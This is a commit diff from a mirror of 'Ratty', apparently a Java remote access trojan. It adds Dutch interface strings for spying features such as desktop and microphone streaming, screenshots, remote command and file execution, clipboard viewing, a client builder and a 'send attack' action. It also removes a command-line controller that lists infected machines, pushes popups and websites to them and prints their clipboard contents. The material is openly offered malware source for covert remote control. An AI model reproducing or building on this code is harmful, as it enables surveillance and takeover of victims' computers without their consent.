mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
9 changed files with 65 additions and 493 deletions
-
20Ratty/res/language/lang.properties
-
18Ratty/res/language/lang_de.properties
-
20Ratty/res/language/lang_en.properties
-
41Ratty/res/language/lang_nl.properties
-
29Ratty/src/de/sogomn/rat/Ratty.java
-
146Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java
-
9Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java
-
247Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java
-
2Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
@ -0,0 +1,41 @@ |
|||
debug.question=Server of client |
|||
debug.server=Server |
|||
debug.client=Client |
|||
|
|||
server.port_question=Welke poort zou de server zich aan moeten binden? |
|||
server.port_error=Invaliede poort |
|||
server.free_warning=De client zal pas bruikbaar zijn na het toestel herstart.\r\n\ |
|||
Doorgaan? |
|||
server.free_yes=Ja |
|||
server.free_no=Aborteer |
|||
|
|||
builder.address_question=Welk adres zou de client aan moete verbinden? |
|||
builder.port_question=Welke poort? |
|||
builder.error=Er is iets fout gegaan. |
|||
|
|||
action.popup=Open popup |
|||
action.screenshot=Neem screenshot |
|||
action.desktop=Toggle desktop stream |
|||
action.voice=Toggle microfoon stream |
|||
action.files=Doorzoek bestanden |
|||
action.command=Executeer commando |
|||
action.clipboard=Toon klipbord |
|||
action.website=Open website |
|||
action.audio=Speel audio |
|||
action.free=Gratis client |
|||
action.build=Client bouwer |
|||
action.attack=Stuur aanval |
|||
action.request_files=Verzoek inhoud |
|||
action.download=Download bestand |
|||
action.upload=Upload bestand hier |
|||
action.execute=Executeer bestand |
|||
action.delete=Verwijder bestand |
|||
action.new_directory=Maak nieuwe directory |
|||
|
|||
column.name=Naam |
|||
column.location=Locatie |
|||
column.address=IP adress |
|||
column.os=Besturingssysteem |
|||
column.version=Versie |
|||
column.desktop=Streaming desktop |
|||
column.voice=Streaming microfoon |
@ -1,146 +0,0 @@ |
|||
package de.sogomn.rat.server.cmd; |
|||
|
|||
import java.io.BufferedReader; |
|||
import java.io.IOException; |
|||
import java.io.InputStreamReader; |
|||
import java.util.ArrayList; |
|||
|
|||
import de.sogomn.engine.util.AbstractListenerContainer; |
|||
|
|||
public final class CommandLineReader extends AbstractListenerContainer<ICommandLineListener> { |
|||
|
|||
private BufferedReader reader; |
|||
private Thread thread; |
|||
|
|||
public CommandLineReader() { |
|||
final InputStreamReader inReader = new InputStreamReader(System.in); |
|||
|
|||
reader = new BufferedReader(inReader); |
|||
} |
|||
|
|||
private String readLine() { |
|||
try { |
|||
final String line = reader.readLine(); |
|||
|
|||
return line; |
|||
} catch (final IOException ex) { |
|||
return null; |
|||
} |
|||
} |
|||
|
|||
public void start() { |
|||
final Runnable runnable = () -> { |
|||
while (true) { |
|||
final String line = readLine(); |
|||
|
|||
if (line != null) { |
|||
final Command command = Command.parse(line); |
|||
|
|||
notifyListeners(listener -> listener.commandInput(command)); |
|||
} |
|||
} |
|||
}; |
|||
|
|||
thread = new Thread(runnable); |
|||
thread.start(); |
|||
} |
|||
|
|||
public void stop() { |
|||
thread.interrupt(); |
|||
thread = null; |
|||
} |
|||
|
|||
public static final class Command { |
|||
|
|||
private final String command; |
|||
private final String[] arguments; |
|||
|
|||
private static final char ARGUMENT_SEPARATOR = ' '; |
|||
private static final char STRING_LITERAL = '\"'; |
|||
|
|||
public static final Command EMPTY = new Command(""); |
|||
|
|||
public Command(final String command, final String... arguments) { |
|||
this.command = command; |
|||
this.arguments = arguments; |
|||
} |
|||
|
|||
@Override |
|||
public boolean equals(final Object obj) { |
|||
if (this == obj) { |
|||
return true; |
|||
} else if (obj == null || getClass() != obj.getClass() || command == null) { |
|||
return false; |
|||
} |
|||
|
|||
final Command other = (Command)obj; |
|||
final boolean equals = command.equalsIgnoreCase(other.command); |
|||
|
|||
return equals; |
|||
} |
|||
|
|||
public boolean equals(final String string) { |
|||
if (command == null || string == null) { |
|||
return false; |
|||
} |
|||
|
|||
return command.equalsIgnoreCase(string); |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return command; |
|||
} |
|||
|
|||
public String argument(final int index) { |
|||
if (index < 0 || index > arguments.length - 1) { |
|||
return null; |
|||
} |
|||
|
|||
return arguments[index]; |
|||
} |
|||
|
|||
public static Command parse(final String line) { |
|||
if (line == null || line.isEmpty()) { |
|||
return EMPTY; |
|||
} |
|||
|
|||
final int length = line.length(); |
|||
final StringBuilder currentArgument = new StringBuilder(); |
|||
final ArrayList<String> arguments = new ArrayList<String>(); |
|||
|
|||
boolean string = false; |
|||
|
|||
for (int i = 0; i < length; i++) { |
|||
final char c = line.charAt(i); |
|||
|
|||
if (c == STRING_LITERAL) { |
|||
string = !string; |
|||
} else if (c == ARGUMENT_SEPARATOR && !string) { |
|||
final String argument = currentArgument.toString(); |
|||
|
|||
arguments.add(argument); |
|||
currentArgument.setLength(0); |
|||
} else { |
|||
currentArgument.append(c); |
|||
} |
|||
} |
|||
|
|||
final String argument = currentArgument.toString(); |
|||
|
|||
arguments.add(argument); |
|||
|
|||
final String commandString = arguments.get(0); |
|||
final String[] argumentArray = arguments |
|||
.stream() |
|||
.skip(1) |
|||
.filter(arg -> arg != null && !arg.isEmpty()) |
|||
.toArray(String[]::new); |
|||
final Command command = new Command(commandString, argumentArray); |
|||
|
|||
return command; |
|||
} |
|||
|
|||
} |
|||
|
|||
} |
@ -1,9 +0,0 @@ |
|||
package de.sogomn.rat.server.cmd; |
|||
|
|||
import de.sogomn.rat.server.cmd.CommandLineReader.Command; |
|||
|
|||
public interface ICommandLineListener { |
|||
|
|||
void commandInput(final Command command); |
|||
|
|||
} |
@ -1,247 +0,0 @@ |
|||
package de.sogomn.rat.server.cmd; |
|||
|
|||
import static de.sogomn.rat.Ratty.LANGUAGE; |
|||
|
|||
import java.io.IOException; |
|||
import java.io.OutputStream; |
|||
import java.io.PrintStream; |
|||
|
|||
import de.sogomn.rat.ActiveConnection; |
|||
import de.sogomn.rat.packet.ClipboardPacket; |
|||
import de.sogomn.rat.packet.FreePacket; |
|||
import de.sogomn.rat.packet.IPacket; |
|||
import de.sogomn.rat.packet.PopupPacket; |
|||
import de.sogomn.rat.packet.WebsitePacket; |
|||
import de.sogomn.rat.server.AbstractRattyController; |
|||
import de.sogomn.rat.server.ActiveServer; |
|||
import de.sogomn.rat.server.cmd.CommandLineReader.Command; |
|||
|
|||
public final class RattyCmdController extends AbstractRattyController implements ICommandLineListener { |
|||
|
|||
private CommandLineReader reader; |
|||
|
|||
private static final String FREE = "Free"; |
|||
private static final String EXIT = "Exit"; |
|||
private static final String LIST = "List"; |
|||
private static final String POPUP = "Popup"; |
|||
private static final String HELP = "Help"; |
|||
private static final String WEBSITE = "WEBSITE"; |
|||
|
|||
private static final String START_MESSAGE = LANGUAGE.getString("cmd.start"); |
|||
private static final String HELP_MESSAGE = LANGUAGE.getString("cmd.help"); |
|||
private static final String INVALID_COMMAND = LANGUAGE.getString("cmd.invalid"); |
|||
private static final String EMPTY_LIST_MESSAGE = LANGUAGE.getString("cmd.empty_list"); |
|||
private static final String CLIENT_CONNECTED_MESSAGE = LANGUAGE.getString("cmd.connected"); |
|||
private static final String CLIENT_DISCONNECTED_MESSAGE = LANGUAGE.getString("cmd.disconnected"); |
|||
|
|||
public RattyCmdController() { |
|||
reader = new CommandLineReader(); |
|||
|
|||
System.setErr(new PrintStream(new OutputStream() { |
|||
@Override |
|||
public void write(final int b) throws IOException { |
|||
//... |
|||
} |
|||
})); |
|||
|
|||
System.out.println(START_MESSAGE); |
|||
System.out.println(); |
|||
|
|||
reader.addListener(this); |
|||
reader.start(); |
|||
} |
|||
|
|||
private int parseIndexSafely(final String string) { |
|||
if (string == null) { |
|||
return -1; |
|||
} |
|||
|
|||
try { |
|||
final int number = Integer.parseInt(string); |
|||
|
|||
return number; |
|||
} catch (final NumberFormatException ex) { |
|||
return -1; |
|||
} |
|||
} |
|||
|
|||
private ActiveConnection getConnectionByIndex(final int index) { |
|||
if (index < 0 || index > connections.size() - 1) { |
|||
return null; |
|||
} |
|||
|
|||
return connections.get(index); |
|||
} |
|||
|
|||
private ActiveConnection getConnectionByAddress(final String address) { |
|||
if (address == null) { |
|||
return null; |
|||
} |
|||
|
|||
for (final ActiveConnection connection : connections) { |
|||
final String connectionAddress = connection.getAddress(); |
|||
|
|||
if (connectionAddress.equals(address)) { |
|||
return connection; |
|||
} |
|||
} |
|||
|
|||
return null; |
|||
} |
|||
|
|||
private ActiveConnection getConnection(final String input) { |
|||
if (input == null) { |
|||
return null; |
|||
} |
|||
|
|||
final int index = parseIndexSafely(input); |
|||
final ActiveConnection connection; |
|||
|
|||
if (index != -1) { |
|||
connection = getConnectionByIndex(index); |
|||
} else { |
|||
connection = getConnectionByAddress(input); |
|||
} |
|||
|
|||
return connection; |
|||
} |
|||
|
|||
/* |
|||
* ================================================== |
|||
* HANDLING COMMANDS |
|||
* ================================================== |
|||
*/ |
|||
|
|||
private boolean freeClient(final Command command) { |
|||
final String input = command.argument(0); |
|||
final ActiveConnection connection = getConnection(input); |
|||
|
|||
if (connection != null) { |
|||
final FreePacket packet = new FreePacket(); |
|||
|
|||
connection.addPacket(packet); |
|||
|
|||
return true; |
|||
} |
|||
|
|||
return false; |
|||
} |
|||
|
|||
private void listConnections() { |
|||
if (connections.isEmpty()) { |
|||
System.out.println(EMPTY_LIST_MESSAGE); |
|||
} |
|||
|
|||
connections.stream().forEach(connection -> { |
|||
final int index = connections.indexOf(connection); |
|||
|
|||
System.out.println(index + ": " + connection.getAddress()); |
|||
}); |
|||
} |
|||
|
|||
private boolean sendPopup(final Command command) { |
|||
final String connectionInput = command.argument(0); |
|||
final ActiveConnection connection = getConnection(connectionInput); |
|||
final String message = command.argument(1); |
|||
|
|||
if (connection != null && message != null) { |
|||
final PopupPacket packet = new PopupPacket(message); |
|||
|
|||
connection.addPacket(packet); |
|||
|
|||
return true; |
|||
} |
|||
|
|||
return false; |
|||
} |
|||
|
|||
private boolean openWebsite(final Command command) { |
|||
final String connectionInput = command.argument(0); |
|||
final ActiveConnection connection = getConnection(connectionInput); |
|||
final String address = command.argument(1); |
|||
|
|||
if (connection != null && address != null) { |
|||
final WebsitePacket packet = new WebsitePacket(address); |
|||
|
|||
connection.addPacket(packet); |
|||
|
|||
return true; |
|||
} |
|||
|
|||
return false; |
|||
} |
|||
|
|||
/* |
|||
* ================================================== |
|||
* HANDLING PACKETS |
|||
* ================================================== |
|||
*/ |
|||
|
|||
private void handleClipboardPacket(final ClipboardPacket packet) { |
|||
final String content = packet.getClipbordContent(); |
|||
|
|||
System.out.println(content); |
|||
} |
|||
|
|||
/* |
|||
* ================================================== |
|||
* HANDLING END |
|||
* ================================================== |
|||
*/ |
|||
|
|||
@Override |
|||
public void packetReceived(final ActiveConnection connection, final IPacket packet) { |
|||
final Class<? extends IPacket> clazz = packet.getClass(); |
|||
|
|||
if (clazz == ClipboardPacket.class) { |
|||
final ClipboardPacket clipboard = (ClipboardPacket)packet; |
|||
|
|||
handleClipboardPacket(clipboard); |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public void commandInput(final Command command) { |
|||
boolean successful = true; |
|||
|
|||
if (command.equals(EXIT)) { |
|||
System.exit(0); |
|||
} else if (command.equals(FREE)) { |
|||
successful = freeClient(command); |
|||
} else if (command.equals(LIST)) { |
|||
listConnections(); |
|||
} else if (command.equals(POPUP)) { |
|||
successful = sendPopup(command); |
|||
} else if (command.equals(HELP)) { |
|||
System.out.println(HELP_MESSAGE); |
|||
} else if (command.equals(WEBSITE)) { |
|||
successful = openWebsite(command); |
|||
} else { |
|||
successful = false; |
|||
} |
|||
|
|||
if (!successful) { |
|||
System.out.println(INVALID_COMMAND); |
|||
|
|||
} |
|||
|
|||
System.out.println(); |
|||
} |
|||
|
|||
@Override |
|||
public void connected(final ActiveServer server, final ActiveConnection connection) { |
|||
super.connected(server, connection); |
|||
|
|||
System.out.println(CLIENT_CONNECTED_MESSAGE); |
|||
System.out.println(); |
|||
} |
|||
|
|||
@Override |
|||
public void disconnected(final ActiveConnection connection) { |
|||
super.disconnected(connection); |
|||
|
|||
System.out.println(CLIENT_DISCONNECTED_MESSAGE); |
|||
System.out.println(); |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue